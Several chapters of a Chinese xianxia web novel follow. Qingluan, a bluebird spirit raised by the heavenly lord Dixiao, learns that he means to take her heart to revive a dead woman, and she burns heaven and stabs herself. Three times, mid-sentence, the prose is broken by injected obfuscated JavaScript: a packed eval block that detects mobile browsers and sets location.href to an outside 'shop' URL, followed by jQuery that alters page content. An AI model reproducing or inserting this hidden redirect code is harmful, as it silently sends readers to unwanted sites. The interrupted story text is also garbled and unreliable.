《神谕·故国》 1. 引一 九重天 九十九层天阶之上,九万丈高台,她一身素衣,被捆在雕刻有龙纹和神秘字符的玄青色柱子上。 柱身约有数十人合抱那般粗,她身量纤细,被捆在这样粗的柱子上,其实不大显眼,相比之下,那束缚住她令她动弹不得的金色绳索反倒更引人注目些。 不过这里是九重天上,规矩森严,只有正儿八经封了神的神君才有资格涉足,然则平日能来此境的神君本就屈指可数,这些年来更是身陨的身陨,羽化的羽化,够资格上到这九重天来的神,便更是寥寥无几的显出些许萧索之意来。 因此,哪里还会有人注意到被捆在九重天宫万丈高台之上,正被火焰一寸寸吞噬的她。 是了,这里可是九重天,漫漫长夜,亘古未明,亿万年来天君的栖息之所,庄严不可侵犯,怎会有不知从哪里烧来的无名之火,竟烧到了这处仙泽之地? 偏偏这不知从何而起的火焰还极为声势浩大,一路浩浩荡荡地烧着,灼灼弥漫了半座九重天宫,这里原本黑得无边无际,与黑夜带来的无边寂寞一起沉沦了亿万年,没想到此刻竟被这火光映出了轮廓,生生烧出一番勃勃生机的气象来。 她忽然想,她莫不是在做梦吧。 七十二层琉璃捆仙索,九重天宫龙纹缚仙柱,刀兵之气万丈诛仙台,这加诸于她身上的每一样东西,都着实有些杀鸡用牛刀了。 她不过是一只化形不足百年的小妖,因帝骁继了新任天君之位,给她虚封了个不入流的神职,这才被他提携到了九重天上来。 说起这桩事情,其实她自己也觉得很不像话,不知有多少勤勤恳恳修炼了不知多少年的仙君,平日里恪尽职守以造福世人积攒功德作为仙生乐趣,为的就是有朝一日功德圆满得以封神,就好比凡间学子苦读多年求的便是有朝一日出人头地能够金榜题名,想来这该是一样的道理。 但很显然,她就是凡间话本子里那等不学无术走了后门抢了人家名额的反派角色,更离谱的是这反派角色走的还是皇帝的后门。 她想,她打的这个比方应当是很贴切的,帝骁已为天君,他利用天君的权力之便破格封她神职,便同凡间的皇帝给科考的学子开了个后门,想是一样的道理。 她觉得自己很不占理。 但也正因如此,她更确信自己是在做梦了。 且不说她虽因着帝骁的缘故,虚虚封了个神职,但本质上还是个不入流的小妖怪,这九重天上不论谁想对付她,都犯不着动用捆仙索缚仙柱诛仙台这样一等一的圣物,单说此境是九重天,帝骁乃天上地下唯一的君主,四海八荒唯一的主人,普天之下,还有谁有这样的胆识这样的本事,敢在他的地盘上对她动手,甚至妄图火烧九重天呢? 她实在想象不出来。 既然如此,那她一定是在做梦,她闭上眼睛,开始呼唤现实中的自己快快醒过来。 虽然这梦做得古怪又真实,方才有一瞬间她真以为自己被捆在了缚仙柱上,灼灼火光弥漫在眼里也确实像那么回事儿,但梦终归是梦,何况还是个不大吉利的噩梦,既然被她堪破了是个梦境,那么她很快就会醒来。 不知闭眼过了多久,仿佛又沉沉睡了一觉,她再睁开眼时,发现自己好端端地躺在九重天宫帝骁为她安排的寝殿之内。 殿外传来些沉沉的声响,声音不算大,却像是能穿透人心,每响一声,便在空空的宫殿里似有若无地回荡一下,她的心脏也跟着用力地跳动一下。 她抚了抚心口,起身披上外衣,光着脚踱出这座只有她一人居住的寝宫,庞大的天宫建筑群之外,悬浮着的是无边无际的深深夜色。 其实这样形容不太妥帖,应该反过来说才对,是他们的宫殿悬浮在不见光亮的墨色之中,毕竟那如海的夜色实在太浩瀚了,九重天宫就像是在最深的海底凭空建造出的一处居所,居住在其中的人日日夜夜吞咽着无边寂寞。 哪里有什么火光呢,九重天一如既往沉寂,封锁多年的诛仙台也并未启用,方才那一切,果然是个梦。 才在外面站了这么一会儿,她便已感受到浸骨的凉意,不禁拢了拢披在身上的衣衫,踮起脚尖望着帝骁平日里处理公务的方向。 她的目力一向是极好的,但这九重天上委实太暗太凉,一切事物映在眼里都模模糊糊的甚至没个轮廓,即便是她,每日站在这里望上小半天,也会觉得眼睛发酸,整个人从头到脚都是凉浸浸的,便不太看得清远处的宫殿了。 一头巨大的生物从空中极缓极缓地游过来,它实在太庞大了,单是身上那一张一翕的鳞片,只一枚便有垂天之云那么大,因此她根本看不清它的全貌,只依稀晓得它是类似于鲲的远古生物。 想来大抵远古的生物,体型都格外庞大,何况这个不知名的生物所存在的岁月乃是远古中的远古,早在盘古开天辟地之前,它便已存在于无垠虚空之中了,也不晓得是由何化成,凭何生存。 登上九重天之后见着这么一个未知生物的历任天君皆对此感到好奇,但也从来无人去探寻过,乃因它比天地间所有人事物存在的时间都要长久,根本就无从探寻。 方才殿外传来的沉沉声响,便是这种生物游曳经过时划破虚空发出的声音,它仿佛无知无感,任由这些神仙在它的栖息之地建造宫殿,与它比邻而居,它只是无言地存在着,亿万年来就这样缓缓地游曳着,偶尔发出类似鲸鸣的声音,帝骁说那声音辽远,她却听出了无边的孤寂。 想来是她在九重天上待得太寂寞了吧,才会觉得这九重天上的一切,入目入耳皆是孤寂。 帝骁便是在这个时候踏着鲸鸣回来的,他来到她的身边,袖间还携了些归来途中经过无垠海时沾染的凉意。 他望了一眼她光着的脚,蹙了蹙眉,将她抱回寝殿中,“同你说过多少次了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712353|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,九重天上仙泽太过喷薄,仙气愈重的地方凉气便也愈重,你平日里要多加注意,怎不知照顾好自己。” 她张了张嘴想要说话,话到嘴边又咽了回去,这样犹豫反复半晌,她终于垂下眼帘嗫嚅道:“我方才做了个噩梦,有些想你,便出来等你了。” “什么噩梦?”他虽在问,看起来对此却并不太上心,拂袖在空中化出十二周天梵华镜,隔着镜子巡视凡间异动。 听闻大荒有魔气作祟,且这魔气并非一般的魔气,乃是魔族始祖遗留在凡间的一抹气息,因是始祖之息,又在远古之地酝酿了不知多少年,威力非同小可,化不净杀不灭,蔓延极快,自大荒东部的青丘之国始,短短数月光景,已经蔓延到了大荒南部的苍梧之野,此后又一路向东,听前来九重天上述职的神君说,这股魔气前几日竟已至不死之国,再往东走,便要至大荒的尽头了。 此事十分棘手,一旦魔气入体,无论是人是妖,哪怕是有些修为道行的仙,都会沦为远古魔神的傀儡,因年代太过久远,远古洪荒的资料已不可考,有说那魔神早已身陨的,也有说祂只是被一股神秘力量封印起来的,倘若被祂攫取了灵魄的人足够多,祂便会解除封印从沉睡中醒来,届时……届时会如何,便无法想象了。 他们这些后天修炼来的仙神,在远古洪荒不知因何机缘孕育而成的始祖们面前,委实是有些不够看的。 无论如何,事关重大,帝骁为此已有好几个月不曾合眼。 她做的那个噩梦在这样的大事面前,自然算不得什么了,于是她小声地道了一句没什么,转而问道:“那大荒的魔气是不是很难处理?你打算怎么办呢?” 帝骁转首看了她一眼,不知是不是她的错觉,那淡淡的一瞥里似乎有些不耐烦,“此事你不用操心,我已经想好了应对之策,过几日便要去处理此事了。” 顿了顿,他颇为不放心地嘱咐道:“我不在的时日里,你就在九重天上待着,不要乱跑。” 她乖巧地点了点头。 事实上自化形以来,除了他继位后成为天君时居住的九重天,以及他继位前还是武罗神君时居住的青要山,总的来说除了他的身边,她几乎不曾去过别的地方,他嘱咐她不要乱跑,他似乎总是害怕她会乱跑,但她根本不知道她还能跑到哪里去。 帝骁在几日之后出发。 与他一同前去治理大荒魔族始祖之息的,还有九重天上他的贴身仙侍,于是突然之间人都走光了,整个九重天宫只留下她孤零零一个。 原本便空空荡荡的九重天,一时间变得荒如坟冢,陪伴她的只有终年在虚空之中游曳的不知名生物,它们偶尔发出的一两声鲸鸣,在她听来愈发孤寂,独自一个待在九重天上的每一秒钟,都变得异常的难以忍耐。 在帝骁离开不过两刻钟后,她终于忍受不住,展翅飞下了九重天,朝帝骁的方向飞去。 2. 引二 同尘境 她的原身是一只普普通通的青鸟,体型一般,外貌一般,什么都挺一般,但胜在目力极好,且还有个根据气息寻人的本事,所幸有这么个本事,否则离了九重天,四海八荒如此之大,她不知该从何处去寻帝骁。 其实下界的景象于她而言是很新奇的,毕竟离开帝骁独自出行的机会,几千年来也遇不上一次,记忆里她唯一一次离开帝骁,独自一个出远门,还是帝骁尚为武罗神君时,向彼时的天君讨了个治理空桑雪患的任务交给她去做。 早在那个时候帝骁便开始试图让身为小妖的她封神了,原本她以为帝骁是异想天开,就算她将治雪的任务完成得漂亮,天君也不可能仅凭这个就给她封神。 没想到是她自己异想天开,别说将治雪的任务完成得漂亮了,结果是她根本就没有完成那个任务。 那年的空桑雪患比她想象的还要复杂,而她的力量委实薄弱,根本没办法处理那场波及到四海八荒的罕见大雪,只能灰溜溜地退了回来,最后这件事情还是留给了帝骁去办。 每每想起这件事,她都忍不住在心里慨叹,叹自己实在没用,叹帝骁实在能干。 想来帝骁在她心目当中,是如不周山五彩石那般支柱补天的存在,莫说他如今是天君理应庇护四海,早在老天君尚在位,他还是武罗神君的时候,便已经开始做这些事情了,这千百年来他始终如一地将自己当作天地间的支柱,支撑着四海八荒,自然也支撑着她。 正因如此,她很担心。 此番他前去大荒将要处理的,乃是魔族始祖之息,亿万年前那些远古洪荒的神魔们,如今早已没了形迹,留给后人的只有尘封于未知之境的古战场,还有残存于世间的残篇断章,而那些古卷上的神秘字符至今无人能解。 她不了解那段远古洪荒史,但也知晓从前的那些神魔都是无父无母受天地之气自然化成的,祂们的力量与如今的仙神定不能同日而语。 她很担心帝骁。 一路行至大荒,眼前的景象令人触目惊心。 整个大荒都被黑气笼罩着,黑色雾气中散落着随处可见的森森白骨,不敢相信帝骁治下竟有一日会呈现出这等景象。 越往前走黑气越盛,等到了青丘地界,那黑色的气泽已经浓到了不可视物的程度。 她收了翅膀化为人形,摸出帝骁赠给她的夜明珠,心有惴惴地继续往前飞。 黑风缭绕,黑雾弥漫,不知是不是眼前的场景太过诡谲,诡谲到令她产生了幻觉,她仿佛听到风中传来谁的低吟,像是来自远古洪荒的呼唤,又像是神秘难解的咒语,最离奇的是,她恍惚间觉得自己好似听懂了,那一声声随风而来随风而散的低吟,分明是从未听过的语言,可她居然从中感受到莫名的哀伤。 眼见着要迷失在这黑风雾气之中,一道亮光冲破黑雾划入视野,她下意识抬起一只手捂住眼睛,再睁眼时,帝骁的身影出现在那片亮光当中。 他玄衣黑发立于白色的光芒中,周身仙泽磅礴,凛然不可直视,她看得有些呆了,帝骁他,从来都是这样一副不可靠近不可亵渎的天神模样。 此刻他悬于半空之中,俯视着脚下这片被黑气笼罩的土地,左手拈了个诀,却只是摆出那样一个姿势,并未施展出任何法术,他好像在思索着什么,又像是做了个决定,但正在犹疑。 下一秒,他似乎定了主意,不再犹豫,左手指尖绽放出耀眼华光,右手在空中虚握,祭出了许久不曾出世的归墟剑。 她远远地瞧着,心中紧了一紧,难道帝骁打算同那魔族的始祖之息硬碰硬? 却见他仿佛没有动手的打算,只是阖眸念诀,周身仙气浮动,右手华光更盛,那金色的光芒慢慢汇聚成实体,拧成一股股巨大的锁链。 片刻后,天地间骤然变得亮堂,方才周遭如浪翻涌的黑色雾气,竟被帝骁幻化出的金色锁链捆住,在刺眼的光芒中无处遁形。 这时她才看清,自己刚才应当是在昏暗混乱中闯入了帝骁设下的法阵,如今法阵已启,十二神君一百零八仙身形陡现,正是他们同帝骁一起催动法阵,待法阵开启,才能锁住这魔气,让天地重回光明。 便在这时,耳畔传来嗡嗡之声,起初只是不成语调的古怪声响,没过多久竟转换成他们能听懂的语言。 “归墟?不错,吾有部分骸骨正封印于归墟当中,你小子的归墟剑,是从归墟遗迹哪处角落捡来的?” 在场之人无不骇然,他们面对的仅仅是魔气,说白了那只是魔族始祖的一缕气息,然而那一缕气息仿佛有生命,竟然在同帝骁对话:“可惜了,归墟可以将吾封印,而你不行,你还差得太远,吾之气息依附于这片土地,过不多时便会蔓延八荒,到那时,我就该醒了。” 帝骁神色如常,准确来说他从一开始脸上便没有什么神色,“的确,我是封印不了你,但我可以砍了你所依附的这片土地,将它们化为齑粉,届时你没了寄生之所,谈何蔓延八荒。” 帝骁的话如同一道惊雷炸在她的耳边,此次始祖魔气之乱,她设想过无数种帝骁可能会采取的解决手段,却独独没有设想过,他居然打算将被魔气侵袭的土地一并抹灭。 甚至连那魔气都被帝骁的雷霆手段惊住了,愣了一愣,好半天才重新嗡嗡地道:“没猜错的话,你小子是现世的所谓天君,现如今你们这些仙神愈发有出息了,竟连冠冕堂皇的模样都不装了?看清楚,这是你的领土,土地上栖息着的是你的子民。” “既然你如蛆附骨,我又确然没本事将你消灭,那便只好将这块腐肉一并剜去,四海八荒,天下六合,我不缺这一方苍梧之野不死之国。”话音毕,归墟落,帝骁将剑劈下,剑势所过之处,激起电闪雷鸣。 他当真打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712354|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一剑将这南荒砍了,让他自己的土地和这片土地上的生灵,一同与那魔气陪葬。 帝骁剑下便是不死之国的子民,他们盼着天君到来如同久旱盼甘霖,却没有想到盼星星盼月亮好不容易盼来的天君并不是来拯救他们的,他比在这里作祟已久的魔气还要决绝,打算一剑让他们灰飞烟灭。 有人呆了,跌坐在原地等死,更多的人则开始奔走哭号,与家人紧紧拥抱在一起,还有一小部分人不信邪,很怀疑自己的天君怎么比魔物还像魔物,于是跪拜于地朝着帝骁的方向不断磕头,乞求他反应过来自己是救世的神仙而不是灭世的妖魔。 帝骁这一剑劈得狠绝,却在劈到一半时生生收了去势,僵在半空之中。 并不是因为他当真应了那些人的乞求,突然反应过来自己是个神仙,眼下他正在做的事情却着实不像个神仙,而是因为在剑势最为凌厉的时候,他看见她飞身扑了过来,挡在他的剑下,挡在了那些不死之国子民们的面前。 “青鸾!”这是他第一次直呼她的名字,带着怒气,还有心惊:“这一剑将你劈在诸天同尘境中,足以让你魂飞魄散,永世不入轮回!” 他这是真的生气了,从来没什么波澜的面上呈现出愠怒之色,她一向最害怕惹他生气,可这次即便惹他生气,她也不能退让。 她不忍,不忍这些生灵葬送性命,也不忍帝骁背负骂名,“你要将他们劈为齑粉,可他们是你的子民,唤你一声天君,你难道听不见他们在哭号吗?也看不见他们在跪拜吗?这一剑若真劈下去,从此以后千秋万载,你将会背负怎样的骂名?” “既是腐肉,便该连根挖去,魔气一日不除,便在大荒蔓延一日,届时将要牺牲的性命只会更多。”帝骁的神色越来越冷,他越过青鸾,淡漠地望向那些哭号跪拜的子民:“天地本就不仁,你若有颠倒乾坤的本领,那就亲自去救他们于水火,如若没有,那就让开。” 帝骁的话一字一句撞在她的心上,心口一阵疼过一阵,她强忍住剧烈的疼痛,倔强又悲伤地张开双臂立在原地,“你被所有人称一声天君,享天下人香火供奉,你所庇护的土地,理应一寸不让,今日让了,倘若来日再发生同样的情形,你又打算割舍哪片土地,难道意欲一让再让?你是天君,是我们的庇护者啊……” 她没有颠倒乾坤的本领,现如今甚至连自保都难,但既已目睹苦难,又无论如何无法放任不管,只能寄希望于更强者,卑微地站在他的跟前,舍弃自己所有的尊严,乞他一丝垂怜。 帝骁将目光从那些哀伤哭号的人身上收回来,静静地注视着她,半晌,缓缓合上眼眸,吐出一句让开。 她在被剑气震开陷入昏迷之前,所听到的最后一句话,便是他那句漠然的让开。 这回她深信自己没有产生错觉,她从他的声音里听到了不加掩饰的厌恶与不耐。 3. 引三 琉璃心 醒来时看见的是熟悉的宫殿,她已回到了九重天宫。 以往帝骁会在她的寝宫放几颗明珠,今日不知为何将它们都撤了,于是整个殿中都只有几缕微光,浅浅的,让人看不清周遭事物,便连心都觉得暗沉沉的。 帝骁就立在她的床畔,不知已在此处站了多久,凉气攀上他的发梢肩头,他立在那里,看起来像一株清冷的玉树。 她支撑着身子坐起来,吸了吸鼻子。 想必自南荒一战后,她被震晕过去,帝骁将她送回寝宫便再没有离开过。 他甚至没有去更衣,衣袖间尚存浓烈的血气。 其实他不曾杀人,他的剑指向的是那一团始祖魔气,根本没有机会沾染血腥,但她知道,南荒自青丘之国至不死之国,那样大的一片土地,已经彻底消失于世。 鼻尖酸了一酸,她装作什么都没有闻到,也不再提起大荒之事,小声问他:“你一直守在这里?” “是。”他回答得很快,“我是要守在这里的,一切都尘埃落定了,只差这最后一件事,这最后一件最轻易的事。” 他这话说得古怪,她抬起头,不明所以地望着他。 殿内实在太昏暗了,她只能隐约看清他的身形,却看不见他的表情,尽管如此,她还是感受到了他似在隐忍的悲伤。 是因为消失的南荒,和随着那片土地一起化为齑粉的子民吗,她想,他终归还是难过的。 于是她抬起手,想要抚一抚他的眉眼,“你是不是在难过?你不要难过。” 他微微俯下身子,任由她抚摸自己的脸,缓缓开口,吐出来的气息扫在她的面颊上:“我在难过吗……”下一秒,却猛地扼住了她的喉咙。 她连震惊都来不及,便被一把拎了起来。 他的力气很大,一寸一寸地掐下去,像是要拧断她的脖子。 在即将失去意识的时候,她的眼前忽然浮现出一道蓝光,蓝色光芒氤氲变幻,幻化出一个男子的模样,他拂袖朝帝骁一击,袖间铃铛声响,竟逼得帝骁松了手向后倒退几步。 他是谁? 被帝骁松开后,她重重地跌坐在地,捂着喉咙不住地干咳,泪眼朦胧地看着眼前发生的这一幕,眼里蓄满茫然。 她并不识得这个蓝衫男子,也不知晓他是从何而来,更不清楚他为何要救自己,然而帝骁却像是认得那男子的,从见到那男子的第一刻起便如临大敌,手腕一抖召出归墟。 这是他今日第二次祭出归墟剑。 “为何不反抗?”那男子却看也不看帝骁一眼,只回头注视着仍在咳嗽的她,“他要杀你,你为何不反抗?你有力量,为何不反抗?” 他一连问了三句为何不反抗,她却越听越茫然,“我没有……我没有力量,他是帝骁,他是天君,我如何有力量反抗他……” 其实她只是下意识顺着那男子的问话回答,事到如今最让她茫然的并不在于此,她最茫然的是,自她在帝骁从前还是神君时掌管的青要山中化形那一日开始,千百年来帝骁怜她护她,何以如今,竟要杀她? 她望向帝骁的目光里,除了茫然,只剩哀怜。 那男子还在唤她:“我可以渡你神力,只要你愿意,就可以借此拿回属于你自己的力量,你原本便拥有力量,为何不反抗?” “够了!”帝骁低喝一声打断他的追问,归墟剑影在他掌心绽放如莲,每一道剑气都蓄了他半生神力,疾风般朝那男子而去。 那蓝衫男子显然曾经受过重伤,不得不将魂魄寄于某处休养,故而此番只能幻化成一道虚影,以灵体的姿态承受帝骁蓄满力量的进攻,他自知不敌。 “那么你逃走吧。”他不再看她,也放弃了尝试唤醒她的力量,却仍旧挡在她的身前,“我可以拖住他片刻,你立刻逃走,离开九重天。” 在这一刻,唯有在此时此刻,她才终于意识到,这些年来帝骁将她养在身边,养得她娇柔又脆弱,懦弱又无能。 她控制不住地感到害怕,可笑的是,思来想去最令她害怕的,竟不是帝骁要杀她,也不是帝骁要当着她的面杀别人,而是离开帝骁之后她不知何去何从,那种茫然无依的感觉居然才是最令她恐惧的。 比起死亡,她更害怕独自一个被扔在茫茫天地,她想要自由,但挣脱不开无形的锁链。她知道自己彻底完了,她有翅膀,却飞不出九重天,她有双腿,却连这寝宫都走不出去。 此刻她唯一能做的,竟然只是乞求,乞求帝骁不要再造杀孽。 “你要如何便如何吧,这些年我承你不少照拂,你要取我性命,我权当以命偿你恩泽,只求你不要杀他,你放了他吧,帝骁,求你不要再杀人了。”她没有逃,跪在地上泪眼涟涟望着帝骁。 那男子应当是对她失望了,他不曾向帝骁示弱,也不再转头看她,他将自己的神识凝聚成强大的力量,毅然决然撞向帝骁手中的归墟。 归墟竟被他撞得发出一声剑吟,帝骁在那男子撞上来的一瞬间挥剑格挡,却忽然觉得觉手腕酸麻,归墟也不再受他控制,脱离了他的手掌斜斜朝外飞去,随后钉在了厚厚的宫墙之上。 那男子拼尽全力的一击,逼得帝骁撤了手中的剑,但也将自己撞得神识破碎,无法再凝聚成形。 蓝色光芒逐渐消散,他仿佛从不曾出现过,唯有耳畔渐行渐远的铃铛声提醒着她,方才有一人为了给她创造逃走的机会,在帝骁剑下魂飞魄散。 而她连逃走的勇气都没有,他白白为她殒命,可她甚至不知道他是谁。 帝骁在黑暗中默了片刻,不知是在思索还是在犹豫,最后抬步走向她,伸出手于空中虚握,再次掐住了她的脖颈。 她放弃反抗,想来是哀莫大于心死,只挣扎着从喉间吐出零碎的字句:“你,到底,为什么?” 帝骁没有回答,掐住她的脖子带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712355|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她往殿外走,他走得很慢,踩着虚空中回荡着的一声声鲸鸣,一步步踏上诛仙台,绣着龙形暗纹的衣袍拂动周遭仙泽,一时间仙气翻涌如尘。 许久不曾启用的诛仙台骤然现世,肃杀之气丝毫不减从前,高耸的血色玉台上矗立着更高的缚仙柱,玄青色柱身,上面雕刻着神秘字符和龙纹。 她艰难地微微侧过头,看见帝骁手中幻化出金色的绳索,那是七十二层琉璃捆仙索,她睁大了眼睛,随即落下泪来,这一切都与梦中的场景别无二致。 在被帝骁用捆仙索束缚在缚仙台上时,她终于明白,那天做的梦竟预知了未来,梦中她尚在疑惑,不知是谁有这样的胆量敢在帝骁的九重天上对她动手,当时无论如何没有想到,对她动手的人正是帝骁。 其实她早该猜到的。 她不过是一个普通的小妖,是一只再寻常不过的青鸟,没有什么厉害法术傍身,更没有什么才情,平时待在帝骁身边,最多不过陪他看看公文,她自己并没有什么爱好,思来想去她确实没有任何拿得出手的地方,那么,凭什么帝骁千百年来如一日的对她好? 想来,他从一开始便抱有目的吧。 可惜她是个傻子,直到被捆在缚仙柱上时才反应过来帝骁别有目的,直到缚仙柱开始缓缓转动吸取她的力量,诛仙台上凭空出现一具水晶棺的时候,她才想明白帝骁的目的到底是什么。 在水晶棺被周遭的磅礴仙泽托举而出的时候,她看清楚了,棺中躺着一个女子,那女子闭着眼睛,脸上没有一丝血色,身体已至半透明的状态,看起来快要与水晶棺融为一体。 这是一个不知因何缘故早已陨落的神族后裔,殒没之后她的肉身本该消散于天地之间,可她被这上古水晶棺护着,又被帝骁用神力养着,这一副早该灰飞烟灭的肉身,被强行维持着生前的模样。 如此,不用猜也明白帝骁想要做什么了,生死人肉白骨,行此违逆天道之举,除了让那女子复活,她再猜不出第二个理由来。 用天下刀兵之气最盛的诛仙台掩盖神族之女的灵力,用北海上古神族遗留的水晶棺养她灵魄,不愧是帝骁,他为了复活一个人,竟费这样大的手笔。 “你或许想不起来什么了,自然,你的确是有力量的,因此我才不得不用捆仙索,用缚仙柱,用这样的厉害法器,其实很伤你的元魄,你本可以少受些苦。”终于,帝骁开口说话了:“你知道吗,在第一次见到你的时候,我便忍不住在心里感叹,从没有见过谁拥有这样一颗蓬勃的心脏,你肯定不知道,你拥有一颗无比强大的,刀劈斧砍之后千锤百炼的心脏,它是那样有生机,那样有力量,它好像可以永远跳动下去,好像永世不会衰竭。这样好的一颗心脏……” 帝骁若有所思地顿了顿,将目光从水晶棺上移回来,移到她的身上,注视着她,一字一句很认真地道:“这样好的一颗心脏,鸾儿,你用不着,把它给阿媱吧。” 4. 引四 凤凰血 她有些不可置信地望着他,突然觉得眼前这个帝骁好陌生,之所以说他陌生倒不是因为觉得他冷漠无情残忍决绝,关于这一些她其实早有领教,并不觉得有什么稀奇,令她感到稀奇的是他方才说的那番话,她觉得,实在不像个智力健全的人能说出口的。 “那是我的心脏,长在我的身上,它再如何强大,我再如何不堪,那也是我自己凭本事长出来的,况且我长着它,便说明我用得着,你凭什么说我用不着?”她实在太震惊了,震惊之余还感到可怕,可怕的点在于说出那番失智言论的人不是别人,居然是四海六合八荒唯一的天君,是她满心满眼仰慕了上千年的天神。 她觉得自己脑袋里有什么东西分崩离析了。 帝骁应当是没有想到,方才还哭哭啼啼求他饶命的人,此刻竟敢反驳他,且措辞严厉仿佛在嘲讽他失了智,怔了一怔来不及反应。 这就给了她发挥的空间,当她在短短的时间内经历了被扼住喉咙的悲伤,经历了听到失智言论的震惊,又经历了信仰的崩塌与重建之后,她便不再悲伤也不再震惊,只感到滑稽了。 “原本我以为,你要杀我是因为别的什么原因,总之什么原因都好,我都能接受,但独独不能接受你打算用我的命去换另一个人的命,如果是这样,那么我们相处的这些年,于你而言是不是好比饲养着一个宠物,等待着养大了挑一个好时机宰了做药引子,帝骁,你这样是在践踏我的尊严。” 这番话说得酣畅淋漓,她活了上千年,竟从没有一日像今日这般酣畅淋漓过。 喘了口气,她补充道: “诚然也许我连宠物都算不上,诚然我现在被五花大绑捆在这里,原本也谈不上什么尊严,但我顾念着同你相处的那些时日,从没有想到我竟然只是你豢养的药引子,不过现在这些都不重要了,重要的是什么,帝骁你知道吗?” 帝骁显然是不知道的,他注视着她,眼中第一次浮现出陌生和茫然。 人与人之间的关系,果然是相互的,当她因帝骁的陌生而心生感慨的时候,也许帝骁正在因着她的陌生而无比震惊。 他们从未真正了解过彼此,她从来没有真正了解过自己。 “重要的是我突然想起帝宣了,你还记得他吗?我想起他从前给我捎来凡间的话本子,还想起他曾经给我说过许多凡人的警世之句,那些凡人,其实很有智慧,其中有一句我一直记着,那句话是宁为玉碎不为瓦全,我觉得很符合现下的情形。” 说了这许多,她现在一点也不觉得悲伤了,她甚至感到快乐,因为这是她第一次如此肆无忌惮地说出自己的心里话,第一次如此明目张胆地在帝骁面前提起帝宣,她宣泄着自己的情绪,触碰着帝骁的逆鳞,这一切都令她感到如此的痛快。 原来不再仰人鼻息是这样的轻松,做一回自己是这样的畅快。 在她说出宁为玉碎不为瓦全这句话的时候,几缕火光自她的指尖跃起,她的胸腔突然变得透明,可以看见那颗受到帝骁盛誉的心脏正在用力地跳动着。 每跳一下,她指尖的火光便愈盛,很快那微弱的火苗便灼灼蔓延开来,绽放成了火海,一直烧到了天边去,烧红了半座九重天宫。 她在火海的最中央,一身素衣如同坠入灼灼烈火也焚不化的雪,显出些许冷冽,她的脸上分明不再有丝毫哀伤,可落在帝骁眼里,这一幕是如此惨烈悲怆。 这也是梦里的场景,原来那胆大包天火烧九重天宫的人竟是她自己。 这火焰来源于她,可她并不知这力量从何而起,难道这便是那蓝衫男子所说的,原本便属于她的力量么? 可惜她知道得太晚了。 自她而始的熊熊火光霎时间弥漫成焚世火海,好像要将眼前的一切都焚烧殆尽,包括火海最中央的她自己。 她感觉到生命的流逝,她的身体仿佛成为了这片火海的养料,催得它愈烧愈旺。 火光中映出帝骁的脸,他居然闯进了火海,看起来想要带她出来。 她有一瞬间的错愕,仿佛她与他回到了从前,她如从前那样依恋着他,见着他便感到安全,这一瞬的错觉,让她以为他是来救她的。 可,火海之中诛仙台上,那一副上古水晶棺还散发着微光,替棺中女子隔绝着焚世的心火,提醒着她帝骁还在觊觎她那颗仍在奋力跳动的心脏,他不是来救她的,说不准是想等她身殒之后正好捡了她的心脏,用来复活棺中的那个阿媱。 她想,她都已经这样惨烈了,五脏六腑好似在慢慢融化,四肢百骸传递着一阵又一阵的剧痛,她快要死了,可他居然想趁着她气息未绝,趁着她的心脏还在跳动,剜出来继续复活旁人。 他全然不曾将她当作一条鲜活的生命,兴许从头到尾,她当真便只是一个宠物,只是一道药引子。 想到这里,看到帝骁那张离她愈来愈近的脸,她忽然感到愤怒,于是下意识将手一挣,竟然就这样将捆仙索挣脱了。 不知是这场心火将绳子烧得松动了,还是因为她真的原本就有力量,总之无论如何,她摆脱了束缚,并且比她想象的轻易太多。 在帝骁即将伸手触碰到她的一瞬间,她念咒召出一柄匕首,那是帝宣亲自为她锻造的防身利器,上面用咒术封了他部分神力,因此他虽然早已陨落,但这柄匕首上还残留着他的力量。 这股残存的力量将帝骁逼开,逼得他后撤几步,与此同时隐隐形成一个保护罩,将青鸾护在了结界内,与熊熊火海隔开,故人虽辞,他留下的神力居然仍保护着她,而她在这保护罩内手起刀落,将匕首对准自己胸膛,快准狠地刺进心脏。 不仅仅是她,连帝骁也清晰地听见了破碎声,像是什么琉璃制品,被尖刃狠狠刺碎。 匕首拔出来的时候,她甚至感觉到那些破碎的残渣附着在刀刃上,和滚烫的血一起溅出来,不知是不是错觉,此时那火海燃烧成了一只凰鸟的形象,仰首发出一声哀鸣。 她向后倒去,映入眼里的是漫天火海,火势愈发大了,几近焚天,这刺目的红便是她所看见的最后画面,她没有看见在她倒下之后,帝骁破除结界,仍旧向她奔来。 “帝骁,如果可以再来一次,我一定选择离开你,再也不要像这样,再也不要像这样……” 像怎样呢? 她用最后的力气想了想。 “再也不要像这样,一辈子,活得无价值,死得无意义。” 这便是她留给帝骁的最后一句话了。 她以为,这该是最后一句话。 